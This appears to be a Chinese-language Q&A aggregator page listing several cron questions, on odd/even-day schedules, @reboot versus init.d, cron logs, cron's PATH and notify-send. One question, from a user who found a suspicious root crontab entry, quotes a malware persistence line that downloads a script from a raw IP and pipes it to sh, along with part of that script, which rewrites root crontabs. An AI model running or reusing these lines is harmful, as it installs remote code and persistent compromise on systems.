标签: cron

我如何告诉 cron 每隔一天运行一个命令(奇数/偶数)

将 cron 配置为每隔一天使用“Day of Month”字段运行命令时,如下所示:

1 22 */2 * * COMMAND
Run Code Online (Sandbox Code Playgroud)

每次当月的某一天是奇数时它都会运行:1、3、5、7、9 等等。

如何将 cron 配置为在一个月中的几天运行,甚至像 2,6,8,10 等等(没有从字面上指定它,这是有问题的,因为每个月都有不同的天数)?

cron

60
推荐指数
2
解决办法
7万
查看次数

每 15 分钟运行一次“xribfa4”的可疑 crontab 条目

我想在我的 Raspberry Pi 上的根 crontab 文件中添加一些内容,但发现一个对我来说似乎很可疑的条目,在谷歌上搜索它的一部分没有发现任何内容。

Crontab 条目:

*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -m180 -fsSL http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh
Run Code Online (Sandbox Code Playgroud)

内容为http://103.219.112.66:8000/i.sh

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/root
echo "*/15 * * * * (/usr/bin/xribfa4||/usr/libexec/xribfa4||/usr/local/bin/xribfa4||/tmp/xribfa4||curl -fsSL -m180 http://103.219.112.66:8000/i.sh||wget -q -T180 -O- http://103.219.112.66:8000/i.sh) | sh" >> /var/spool/cron/root
cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable

export …
Run Code Online (Sandbox Code Playgroud)

security cron malware

60
推荐指数
1
解决办法
9529
查看次数

在引导/启动期间运行脚本;init.d 与 cron @reboot

我目前正在尝试了解在系统启动/引导时运行脚本的init.dcron 和 cron之间的区别@reboot

使用的@reboot(这种方法中提到的这个论坛hs.chandra)是一些什么比较简单,通过简单地进入crontab -e并创建一个@reboot /some_directory/to_your/script/your_script.txt,然后your_script.txt,应在每次系统启动时执行。的深入解释@reboothere

或者通过嵌入/etc/init.d/your_script.txt到脚本的第二行,即:

#!/bin/bash
# /etc/init.d/your_script.txt
Run Code Online (Sandbox Code Playgroud)

您可以运行,chmod +x /etc/init.d/your_script.txt并且your_script.txt每次系统启动时也应该运行。

Q1:两者的主要区别是什么?
Q2:哪个更健壮?
Q3:两者中是否有更好的一个?
Q4:这是嵌入脚本以在启动期间运行的正确方法吗?

我将合并一个 bash .sh 文件以在启动期间运行。

startup scripting cron init-script sysvinit

55
推荐指数
2
解决办法
14万
查看次数

在 CentOS 中哪里可以找到 Crontab 日志

首先我使用的是 CentOS

 [root@a etc]# cat system-release
 CentOS release 6.5 (Final)

[root@a cron.daily]# ps -ef | grep cron
root       982     1  0 Jun14 ?        00:01:15 crond
root      5692  5441  0 00:49 pts/0    00:00:00 grep cron
[root@a cron.daily]#
Run Code Online (Sandbox Code Playgroud)

我的资源用完了,所以我想删除旧的日志文件。在这种情况下,我想删除大小几乎超过 100MB 的旧安全日志,所以我为root用户提供了以下 crontab 条目.

[root@a etc]# crontab -l
0 1 * * * find /var/log -name "secure-*" -mtime +5 -exec rm {} \;
[root@a etc]#
Run Code Online (Sandbox Code Playgroud)

几天后我才知道这个 crontab 条目不起作用,但我仍然看到旧文件。

[root@a log]# find /var/log -name "secure-*"
/var/log/secure-20141214
/var/log/secure-20141107
/var/log/secure-20141130
/var/log/secure-20141221
[root@a log]#
Run Code Online (Sandbox Code Playgroud)

后来我尝试在 …

cron logs centos etc

53
推荐指数
1
解决办法
20万
查看次数

Crontab 在 /etc/cron.d 中从不运行

这是我在 Debian Jessie 上所做的:

  • 通过安装 cron apt-get install cron
  • 放入一个backup_crontab文件/etc/cron.d/

但是,任务永远不会运行。

以下是一些输出:

/# crontab -l
no crontab for root

/# cd /etc/cron.d && ls
backup_crontab

/etc/cron.d# cat backup_crontab
0,15,30,45 * * * * /backup.sh >/dev/null 2>&1
Run Code Online (Sandbox Code Playgroud)

是否可以激活特定的 crontab 或激活 cron“服务”本身?

cron debian

53
推荐指数
4
解决办法
8万
查看次数

如何启用定位和排队要构建的数据库?

在新的 Ubuntu 10.4 实例上,我尝试使用该locate命令仅接收错误

locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory
Run Code Online (Sandbox Code Playgroud)

在其他系统上使用此命令时,我猜测这意味着尚未构建数据库(这是全新安装)。我相信它应该每天运行,但我如何将它排队立即运行?

另外,“每天运行”是如何确定的?如果我有一个每次只打开一个小时的盒子,数据库是否会自行构建?

command-line cron files locate

43
推荐指数
1
解决办法
5万
查看次数

在 Cron 脚本中使用系统日期/时间

我正在设置一个 Cronjob,它将备份我在我的服务器中拥有的 MySQL 数据库,但我不希望它一遍又一遍地覆盖同一个文件。相反,我希望有一系列备份可供选择,自动完成。例如:

## Cronjob, run May 21st, 2011:
mysqldump -u username -ppasword database > /path/to/file/21-03-2011.sql

## SAME Conjob, run May 28th, 2011:
mysqldump -u username -ppasword database > /path/to/file/28-03-2011.sql
Run Code Online (Sandbox Code Playgroud)

等等。

有什么方法可以将系统日期和/或时间用作 Cronjob 中的某种变量?如果没有,你有什么建议来实现同样的目标?

bash cron terminal

41
推荐指数
2
解决办法
9万
查看次数

cron 的 PATH 在哪里设置?

Cron 不使用其 crontab 所在用户的路径,而是拥有自己的路径。可以通过PATH=/foo/bar在 crontab 的开头添加来轻松更改,经典的解决方法是始终使用 cron 运行的命令的绝对路径,但是 cron 的默认 PATH 在哪里定义的?

我在我的 Arch 系统(cronie 1.5.1-1)上创建了一个包含以下内容的 crontab,并在 Ubuntu 16.04.3 LTS 机器上进行了测试,结果相同:

$ crontab -l
* * * * * echo "$PATH" > /home/terdon/fff
Run Code Online (Sandbox Code Playgroud)

打印出来的:

$ cat fff
/usr/bin:/bin
Run Code Online (Sandbox Code Playgroud)

但为什么?默认的系统范围路径设置在 中/etc/profile,但包括其他目录:

$ grep PATH= /etc/profile
PATH="/usr/local/sbin:/usr/local/bin:/usr/bin"
Run Code Online (Sandbox Code Playgroud)

/etc/environmentor 中没有其他相关内容,/etc/profile.d我认为其他文件可能会被 cron 读取:

$ grep PATH= /etc/profile.d/* /etc/environment
/etc/profile.d/jre.sh:export PATH=${PATH}:/usr/lib/jvm/default/bin
/etc/profile.d/mozilla-common.sh:export MOZ_PLUGIN_PATH="/usr/lib/mozilla/plugins"
/etc/profile.d/perlbin.sh:[ -d /usr/bin/site_perl ] && PATH=$PATH:/usr/bin/site_perl
/etc/profile.d/perlbin.sh:[ -d /usr/lib/perl5/site_perl/bin ] && PATH=$PATH:/usr/lib/perl5/site_perl/bin
/etc/profile.d/perlbin.sh:[ -d /usr/bin/vendor_perl …
Run Code Online (Sandbox Code Playgroud)

cron path

41
推荐指数
2
解决办法
2万
查看次数

将通知发送与 cron 一起使用

我正在使用带有 KDE/Awesome WM 的 Arch Linux。我正在尝试 notify-sendcron.

我试过设置DISPLAY/XAUTHORITY变量,并notify-send使用“sudo -u”运行,但都没有结果。

我能够从会话中以交互方式调用通知发送并获取通知。

FWIW,cron 作业运行良好,我通过将内容回显到临时文件进行了验证。只是“通知发送”不起作用。

代码:

[matrix@morpheus ~]$ crontab -l
* * * * *  /home/matrix/scripts/notify.sh

[matrix@morpheus ~]$ cat /home/matrix/scripts/notify.sh
#!/bin/bash
export DISPLAY=127.0.0.1:0.0
export XAUTHORITY=/home/matrix/.Xauthority
echo "testing cron" >/tmp/crontest
sudo -u matrix /usr/bin/notify-send "hello"
echo "now tested notify-send" >>/tmp/crontest

[matrix@morpheus ~]$ cat /tmp/crontest
testing cron
now tested notify-send

[matrix@morpheus ~]$ 
Run Code Online (Sandbox Code Playgroud)

如您所见,通知发送之前和之后的回声有效。
我也试过设置DISPLAY=:0.0

更新:我搜索了一些,发现需要设置DBUS_SESSION_BUS_ADDRESS。在使用我从交互式会话中获得的值对其进行硬编码后,屏幕上每分钟都会弹出一个小小的“你好”消息!

但问题是这个变量不是永久的,所以我会尝试那里建议的命名管道解决方案。

[matrix@morpheus ~]$ cat scripts/notify.sh
#!/bin/bash …
Run Code Online (Sandbox Code Playgroud)

shell scripting cron libnotify

40
推荐指数
5
解决办法
3万
查看次数

如果 Python 脚本被杀死或死亡,如何自动重新启动它

我在我的 Ubuntu 机器(12.04)的后台运行我的 Python 脚本,就像这样 -

nohup python testing.py > test.out &
Run Code Online (Sandbox Code Playgroud)

现在,在某个阶段,我的上述Python script可能会因任何原因而死亡。

所以我想cron agent在 bash shell 脚本中有某种形式,如果它因任何原因被杀死,它可以自动重新启动我上面的 Python 脚本。

这是可能的吗?如果是,那么解决此类问题的最佳方法是什么?

更新:

创建这样的testing.conf文件后-

chdir /tekooz
exec python testing.py
respawn
Run Code Online (Sandbox Code Playgroud)

我在 sudo 命令下运行以启动它,但我看不到使用 ps ax 运行的进程?

root@bx13:/bezook# sudo start testing
testing start/running, process 27794
root@bx13:/bezook# ps ax | grep testing.py
27806 pts/3    S+     0:00 grep --color=auto testing.py
Run Code Online (Sandbox Code Playgroud)

知道为什么 px ax 没有显示任何内容吗?以及如何检查我的程序是否正在运行?

这是我的python脚本-

#!/usr/bin/python
while True:
    print "Hello World"
    time.sleep(5)
Run Code Online (Sandbox Code Playgroud)

shell bash cron python

39
推荐指数
5
解决办法
11万
查看次数